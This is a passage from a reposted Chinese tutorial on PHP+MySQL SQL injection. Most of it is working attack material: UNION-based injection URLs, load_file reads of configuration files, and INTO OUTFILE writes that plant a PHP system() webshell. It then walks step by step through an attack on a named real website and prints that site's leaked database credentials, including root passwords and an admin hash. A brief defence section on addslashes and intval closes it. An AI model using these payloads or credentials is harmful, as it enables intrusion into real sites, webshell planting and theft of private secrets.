http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
得到sql.inc.php內容為
<?$connect=@mysql_connect("localhost","root","")? or? die("Unable? to? connect? to? SQL? server");mysql_select_db("alpha",$connect)? or? die("Unable? to? select? database");?>
好了我們知道了mysql的root密碼了,我們找到phpmyadmin的后臺
http://localhost/phpmyadmin/
用root密碼為空登陸。
如圖30
然后我們新建立一個表結構內容如下:
#
# 數據表的結構 `te`
#
CREATE TABLE te (
? cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 導出下面的數據庫內容 `te`
#
INSERT INTO te VALUES ('<?php system($cmd) ?>');
Ok,是我們用select * from table into outfile’’的時候了
直接在phpmyadmin的sql輸入
SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
如圖31
Ok,成功執行,我們去http://localhost/site/cmd1.php?cmd=dir看看效果去
如圖32
好爽的一個webshell是吧!哈哈,我也很喜歡。
不過不知道大家有沒有發現我們是在magic_quotes_gpc=On的情況下完成這項工作的,竟然在phpmyadmin里可以不用考慮引號的限制,哈哈,說明什么?說明phpmyadmin太偉大了,這也就是我們在談magic_quotes_gpc=On繞過時所賣的那個關子啦!
6.發現沒有我們還可以利用update和insert來插入我們的數據,然后來得到我們的webshell哦,還用上面的那個例子,
<?php
//reg.php
……
$query = "INSERT INTO members
VALUES('$id','$login','$pass','$email',’2')" ;
……
?>
我們在email的地方輸入<?php system($cmd) ?>
假設我們注冊后的id為10
那么我們可以再找到一個可以注入的地方
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php'
好了,我們又有了我們的wenshell了哦。
7.mysql的跨庫查詢
大家是不是一直聽說mysql不能跨庫查詢啊,哈哈,今天我將要教大家一個好方法,通過這個方法來實現變相的跨庫查詢,方法就是通過load_file來直接讀出mysql中data文件夾下的文件內容,從而實現變態跨庫查詢。
舉個例子啦
在這之前我們先講一下mysql的data文件夾下的結構
Data文件夾下有按數據庫名生成的文件夾,文件夾下按照表名生成三個后綴為frm,myd,myi的三個文件,例如
Mysql中有alpha數據庫,在alpha庫中有alphaauthor和alphadb兩個表,
Alpha文件夾內容如下圖33
其中alphadb.frm放著lphadb表中的數據,alphadb.frm放著表的結構,alphadb.myi中放的內容隨mysql的版本不通會有所不同,具體可以自己用記事本打開來判斷。
實驗開始
假設我們知道有另外的一個數據庫yminfo210存在,且存在表user,user中放這admin的信息。
我們
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('yminfo210/user.myd'),4,5,6,7,8,9,10,11
說明一下,load_file默認所在的目錄是mysql下的data目錄,所以我們用
load_file('yminfo210/user.myd'),當然load_file('.info210/user.myd')也是一樣的,注意的是into outfile的默認路徑是在所在的數據庫文件夾下。
結果如圖34
我們看讀出來的內容
舼??? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer? http://www.yoursite.com? (?靃?KA靃?靃?? 127.0.0.1? d??? aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd?? ?E麷AM麷A 127.0.0.1 222? 222222223423
雖然亂碼一堆,但是我們還是可以看出用戶名是admin,密碼是698d51a19d8a121ce581499d7b701668,后面其它的是另外的信息。
通過這種方法我們就實現了曲線跨庫,下面的例子中也會提到哦!
說了這么多下面我們來具體的使用一次,這次測試的對象是國內一著名安全類站點――黑白網絡
聽人家說黑白有漏洞?我們一起去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1
正常顯示。
如圖35
http://www.heibai.net/down/show.php?id=5403%20and%201=2
顯示不正常。
如圖36
好,我們繼續
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1
顯示結果如下
如圖37
注意看圖中沒有顯示程序名,而且還附帶了
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\show.php on line 45
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\global.php on line 578
暈了,網站路徑出來了,那可就死定了哦!
我們繼續,直到我們猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
的時候正常顯示了。
如圖38
好我們轉換語句成為
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
顯示如圖39
看看簡介處顯示為12,我們可以猜測此處應該為字符型!
Ok,我們下面看看文件內容先
D:/web/heibai/down/show.php轉化成ascii后為
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)
我們
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),13,14,15,16,17,18,19
view-source:是指察看源代碼,至于為什么用,我們后面將講到
顯示出它的源代碼
如圖40
因為在show.php中有一句
<META HTTP-EQUIV=REFRESH CONTENT='0;URL=list.php'>
如果我們直接在瀏覽器里提交會跳轉到list.php
我們發現這句require ("./include/config.inc.php");
好東西,應該放這配置文件,ok繼續
d:/web/heibai/down/include/config.inc.php
轉化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
我們輸入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
顯示結果如圖41
里面內容主要有
…………………..
ymDown (夜貓下載系統) 是一個應用于網站提供下載服務的的程序
// ------------------------- -------- ------------------------- //
//?????????????????????????? 常規設置?????????????????????????? //
// ------------------------- -------- ------------------------- //
// 數據庫信息
$dbhost = "localhost"; // 數據庫主機名
$dbuser = "download";// 數據庫用戶名
$dbpasswd = "kunstar988"; // 數據庫密碼
$dbname = "download"; // 數據庫名
// Cookie 名稱
$cookie_name = "heibai";
// 版本號
$version = "1.0.1";
// 數據表名
$down_table = ymdown;
$down_user_table = ymdown_user;
$down_sort1_table = ymdown_sort1;
$down_sort2_table = ymdown_sort2;
暈原來用的是夜貓的下載系統,而且我們知道了
$dbuser = "download";// 數據庫用戶名
$dbpasswd = "kunstar988"; // 數據庫密碼
說不定呆會有用哦。
用的表名是默認的表名,我們知道夜貓的管理員密碼放在ymdown_user中
我們繼續http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ymdown_user
結果如圖42
根據提示我們知道文件大小處的是username,應用平臺處的是password(對照圖36)
即username=dload,password=6558428,夜貓的后臺默認在admin目錄下,我試驗了很久都沒有找到,暈之。
想直接連接mysql,發現telnet端口并沒有開放。我們去看看別的吧!
http://www.heibai.net/vip/article/login.php
看起來像是會員的登陸哦,我們看看先
d:/web/heibai/vip/article/login.php
轉化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)
我們輸入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)),13,14,15,16,17,18,19
結果如圖43:
其中
require ("./include/global.php");
require ("./include/config.inc.php");
require ("./mainfunction.php");
require ("./function.php");
當然了,我們去看config.inc.php吧
d:/web/heibai/vip/article/include/config.inc.php
轉成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
輸入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
結果如圖44
顯示了很多好東西哦
$dbhost = "localhost"; // 數據庫主機名
$dbuser = "root"; // 數據庫用戶名
$dbpass = "234ytr8ut"; // 數據庫密碼
$dbname = "article"; // 數據庫名
$ymcms_user_table = "user";
$ymcms_usergroup_table = "usergroup";
$ymcms_userrace_table = "userrace";
表還是默認的表,而且出來了root的密碼
要是能連上它的mysql該多好啊,那樣我們就可以into outfile了
痛苦的找了找phpmyadmin,沒有找見,或許根本就沒有用。
讀c:/winnt/php.ini發現
; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On
55555555,痛苦中,我們看看能不能搞幾個會員賬號
猜測會員賬號放在user表中,我們直接讀data下article文件夾里的user.myd文件
Article/user.myd轉換成
char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)
我們輸入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19
結果如圖45:
暈了,竟然沒有返回。我們來讀Article/user.frm
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19
結果如圖46
暈了,表結構都在,而且讀Article/user.myi時也成功,可是為什么Article/user.myd讀不出來呢?要是magic_quotes_gpc=Off我們還可以into outfile來看看,可是……
郁悶中,測試就這樣結束吧,下面的工作還是留給你們來完成吧!
文中所述問題已經通知星坤了!
四:php+mysql注入的防范方法。
在上一期的專題里已經講了很多的防范方法,這里我就主要講一下php+mysql注射攻擊的防范方法。
大家看到,在magic_quotes_gpc=On的時候,很多的注射攻擊已經沒有作用了。
我們可以利用這個來加固我們的程序。Addslashes()函數等同于magic_quotes_gpc=On,而且與magic_quotes_gpc=On也不沖突,我們可以這樣過濾
$username = addslashes($username);
$query="SELECT * FROM users WHERE userid='$username'");
對于id型我們可以利用intval()函數,intval()函數可以將變量轉換成整數類型,這樣就可以了。
我們可以這樣
$id = intval($id);
$query="SELECT * FROM alphadb WHERE articleid='$id'");
如果是字符型的呢?
我們可以先用addslashes()過濾一下,然后再過濾”%”和”_”.
例如:
$search = addslashes($search);
$search = str_replace("_","\_",$search);
$search = str_replace("%","\%",$search);
記得,可千萬別在magic_quotes_gpc=On的情況下替換\為\\,如下:
$password=str_replace("\\","\\\\",$password);
我記得在darkness的文章《對某PHP站點的一次滲透》中提到過這個問題(在光盤中有收錄)。
還有的就是登陸的地方,如果是只用一個管理員管理的話,我們可以直接對username和passwd用md5加密,這樣就不用害怕注入技術的發展了。
Username=md5($HTTP_POST_VARS["username"]);
Passwd=md5($HTTP_POST_VARS["passwd"]);
我的后臺登陸就是這樣子的哦。
轉載于:https://www.cnblogs.com/3xp10d3r/articles/1085071.html
總結
以上是生活随笔為你收集整理的PHP+MySQL 注射资料的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: www.beihua.edu.cn计划摘
- 下一篇: 蓝桥杯 java基础练习 回形取数